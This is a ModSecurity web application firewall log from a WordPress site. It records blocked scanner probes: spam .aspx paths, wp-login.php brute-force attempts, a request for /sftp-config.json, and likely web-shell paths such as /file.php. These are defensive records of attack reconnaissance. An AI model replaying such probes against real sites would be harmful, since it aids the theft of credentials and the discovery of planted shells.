[Sun May 24 20:03:29.454513 2026] [:error] [pid 41708:tid 41710] [client 135.181.213.219:18078] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ahLpEf4tQzoTxpuHBF7fiwAAAYA"]
[Sun May 24 20:03:31.417711 2026] [:error] [pid 49744:tid 49766] [client 135.181.213.219:35372] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ahLpEzsE5kPdFpUbbHHdqQAAANQ"]
[Sun May 24 20:03:33.396964 2026] [:error] [pid 49775:tid 49784] [client 135.181.213.219:35376] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ahLpFYvZb8G6T8WpI1iwuwAAAAc"]
[Sun May 24 20:03:35.212830 2026] [:error] [pid 41708:tid 41714] [client 135.181.213.219:35390] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ahLpF_4tQzoTxpuHBF7fkAAAAYQ"]
[Sun May 24 20:03:37.181266 2026] [:error] [pid 41708:tid 41734] [client 135.181.213.219:35394] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ahLpGf4tQzoTxpuHBF7fmgAAAZg"]
[Sun May 24 20:03:39.161913 2026] [:error] [pid 41708:tid 41724] [client 135.181.213.219:35396] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ahLpG_4tQzoTxpuHBF7fowAAAY4"]
[Sun May 24 20:03:41.135332 2026] [:error] [pid 41708:tid 41713] [client 135.181.213.219:7956] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ahLpHf4tQzoTxpuHBF7fqQAAAYM"]
[Sun May 24 20:03:43.097104 2026] [:error] [pid 23497:tid 23523] [client 135.181.213.219:7958] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ahLpHyPlV47QcYwd2v8QGAAAAVc"]
[Sun May 24 20:03:44.922247 2026] [:error] [pid 2639:tid 2650] [client 135.181.213.219:7974] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ahLpIEzQncQTd0Z0Oe99kgAAAQk"]
[Sun May 24 20:03:46.888005 2026] [:error] [pid 4777:tid 4799] [client 135.181.213.219:7988] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ahLpIvtPctoQOm4w5pOQAAAAAdE"]
[Sun May 24 20:03:48.871821 2026] [:error] [pid 4777:tid 4801] [client 135.181.213.219:8002] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ahLpJPtPctoQOm4w5pOQBAAAAdM"]
[Sun May 24 20:03:50.814511 2026] [:error] [pid 49775:tid 49783] [client 135.181.213.219:50116] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahLpJovZb8G6T8WpI1iwzQAAAAY"]
[Sun May 24 20:03:52.789889 2026] [:error] [pid 49688:tid 49691] [client 135.181.213.219:50126] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ahLpKGYoQ9V6a_4pBsi6ZAAAAEA"]
[Sun May 24 20:03:54.777820 2026] [:error] [pid 23497:tid 23509] [client 135.181.213.219:50140] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ahLpKiPlV47QcYwd2v8QIQAAAUk"]
[Sun May 24 20:03:56.740564 2026] [:error] [pid 49775:tid 49800] [client 135.181.213.219:50142] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ahLpLIvZb8G6T8WpI1iw2AAAABc"]
[Sun May 24 20:03:58.711781 2026] [:error] [pid 4777:tid 4802] [client 135.181.213.219:50156] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ahLpLvtPctoQOm4w5pOQDQAAAdQ"]
[Sun May 24 20:04:00.691635 2026] [:error] [pid 4777:tid 4794] [client 135.181.213.219:27644] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ahLpMPtPctoQOm4w5pOQEQAAAcw"]
[Sun May 24 20:04:02.678788 2026] [:error] [pid 49775:tid 49794] [client 135.181.213.219:27648] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ahLpMovZb8G6T8WpI1iw4QAAABE"]
[Sun May 24 20:04:04.677561 2026] [:error] [pid 49688:tid 49700] [client 135.181.213.219:27654] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ahLpNGYoQ9V6a_4pBsi6bAAAAEk"]
[Sun May 24 20:04:06.662549 2026] [:error] [pid 49775:tid 49779] [client 135.181.213.219:27664] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ahLpNovZb8G6T8WpI1iw6AAAAAI"]
[Sun May 24 20:04:08.652785 2026] [:error] [pid 4777:tid 4786] [client 135.181.213.219:27670] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ahLpOPtPctoQOm4w5pOQGwAAAcQ"]
[Sun May 24 20:10:02.878735 2026] [:error] [pid 41708:tid 41711] [client 43.156.156.96:57284] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahLqmv4tQzoTxpuHBF7hDAAAAYE"]
[Sun May 24 21:09:29.936610 2026] [:error] [pid 11280:tid 11289] [client 43.135.133.241:35148] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahL4iYRn5s7laoSxy1QPHAAAAEQ"]
[Sun May 24 22:22:37.520751 2026] [:error] [pid 11282:tid 11352] [client 208.84.100.87:63896] [client 208.84.100.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.84.100.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahMJre0bPyN3C7HZ1R-togAAAMw"]
[Sun May 24 22:32:12.875449 2026] [:error] [pid 11281:tid 11331] [client 162.14.109.170:58130] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahML7JKmC9taWvA91j6QpAAAAJI"]
[Mon May 25 00:00:50.218711 2026] [:error] [pid 15835:tid 15845] [client 91.224.92.82:58320] [client 91.224.92.82] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "ahMgsmWbknYlUM9P0qMXPwAAAAg"]
[Mon May 25 02:03:20.412300 2026] [:error] [pid 11282:tid 11353] [client 43.157.67.70:48486] [client 43.157.67.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahM9aO0bPyN3C7HZ1R_ihQAAAM0"]
[Mon May 25 05:18:26.827625 2026] [:error] [pid 9302:tid 9323] [client 52.139.38.60:8822] [client 52.139.38.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ahNrIi1RaFfTSnDQnqFGSQAAABA"]
[Mon May 25 05:18:28.145741 2026] [:error] [pid 50423:tid 50428] [client 52.139.38.60:8773] [client 52.139.38.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ahNrJKJWO7En4nKEQ3gdwgAAAQM"]
[Mon May 25 05:18:36.248034 2026] [:error] [pid 9398:tid 9414] [client 52.139.38.60:8791] [client 52.139.38.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ahNrLOhIu7KstzsCua-ZLQAAAMo"]
[Mon May 25 05:18:41.976918 2026] [:error] [pid 9303:tid 9346] [client 52.139.38.60:8830] [client 52.139.38.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ahNrMX3bQScbssitjPQsFgAAAEw"]
[Mon May 25 05:46:05.418338 2026] [:error] [pid 9302:tid 9326] [client 77.42.65.29:56338] [client 77.42.65.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.42.65.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahNxnS1RaFfTSnDQnqFLXwAAABM"]
[Mon May 25 05:46:07.119696 2026] [:error] [pid 9302:tid 9320] [client 77.42.65.29:56338] [client 77.42.65.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.42.65.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahNxny1RaFfTSnDQnqFLYgAAAA0"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 06:16:01.839027 2026] [:error] [pid 9302:tid 9325] [client 43.153.207.127:47368] [client 43.153.207.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahN4oS1RaFfTSnDQnqFP0gAAABI"]
[Mon May 25 06:54:23.322800 2026] [:error] [pid 9304:tid 9385] [client 46.151.182.172:55826] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahOBn-VEV2qpMC_1UzSNCwAAAJg"]
[Mon May 25 06:54:23.850079 2026] [:error] [pid 21606:tid 21629] [client 46.151.182.172:56709] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahOBn2swdp0RYkH5t9XF8AAAAVU"]
[Mon May 25 06:54:24.388153 2026] [:error] [pid 50423:tid 50437] [client 46.151.182.172:65135] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahOBoKJWO7En4nKEQ3g5ZwAAAQw"]
[Mon May 25 06:54:24.950482 2026] [:error] [pid 9302:tid 9312] [client 46.151.182.172:54615] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahOBoC1RaFfTSnDQnqFXuwAAAAU"]
[Mon May 25 06:54:25.639066 2026] [:error] [pid 9303:tid 9344] [client 46.151.182.172:55871] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahOBoX3bQScbssitjPQ-zQAAAEo"]
[Mon May 25 07:09:18.907093 2026] [:error] [pid 9303:tid 9335] [client 104.28.214.122:38819] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ms-themes.php"] [unique_id "ahOFHn3bQScbssitjPRD0gAAAEE"]
[Mon May 25 07:09:20.469977 2026] [:error] [pid 9304:tid 9378] [client 104.28.214.122:38499] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ahOFIOVEV2qpMC_1UzSV7gAAAJE"]
[Mon May 25 07:09:22.002332 2026] [:error] [pid 9304:tid 9367] [client 104.28.214.122:38695] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "ahOFIuVEV2qpMC_1UzSV8QAAAIY"]
[Mon May 25 07:17:45.628580 2026] [:error] [pid 21606:tid 21623] [client 43.156.114.184:57480] [client 43.156.114.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahOHGWswdp0RYkH5t9XL8gAAAU8"]
[Mon May 25 07:51:36.710081 2026] [:error] [pid 62515:tid 62533] [client 190.92.174.21:49950] [client 190.92.174.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahOPCBig0_XsOwmnrv9GKgAAANA"]
[Mon May 25 07:51:38.430169 2026] [:error] [pid 62515:tid 62529] [client 190.92.174.21:49950] [client 190.92.174.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahOPChig0_XsOwmnrv9GLQAAAMw"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 09:52:41.260417 2026] [:error] [pid 62515:tid 62539] [client 157.230.148.169:47398] [client 157.230.148.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.148.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahOraRig0_XsOwmnrv91nQAAANY"]
[Mon May 25 09:52:42.773968 2026] [:error] [pid 62515:tid 62530] [client 157.230.148.169:47398] [client 157.230.148.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.148.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahOrahig0_XsOwmnrv91oQAAAM0"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 12:38:37.005449 2026] [:error] [pid 62722:tid 62734] [client 43.153.54.14:53910] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahPSTaM6ssnLWYf6CVDEfQAAAEo"]
[Mon May 25 13:39:50.221897 2026] [:error] [pid 62427:tid 62466] [client 143.244.182.226:47844] [client 143.244.182.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.244.182.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahPgpvMUa83fc4GDyBw9cgAAAUk"]
[Mon May 25 13:39:51.682065 2026] [:error] [pid 62427:tid 62473] [client 143.244.182.226:47844] [client 143.244.182.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.244.182.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahPgp_MUa83fc4GDyBw9dQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 13:42:41.177517 2026] [:error] [pid 62427:tid 62475] [client 145.239.71.147:44704] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ahPhUfMUa83fc4GDyBw-iAAAAVI"]
[Mon May 25 13:42:44.280704 2026] [:error] [pid 62515:tid 62528] [client 145.239.71.147:58004] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ahPhVBig0_XsOwmnrv_BOwAAAMs"]
[Mon May 25 13:42:47.341793 2026] [:error] [pid 62722:tid 62736] [client 145.239.71.147:56286] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ahPhV6M6ssnLWYf6CVDoygAAAEw"]
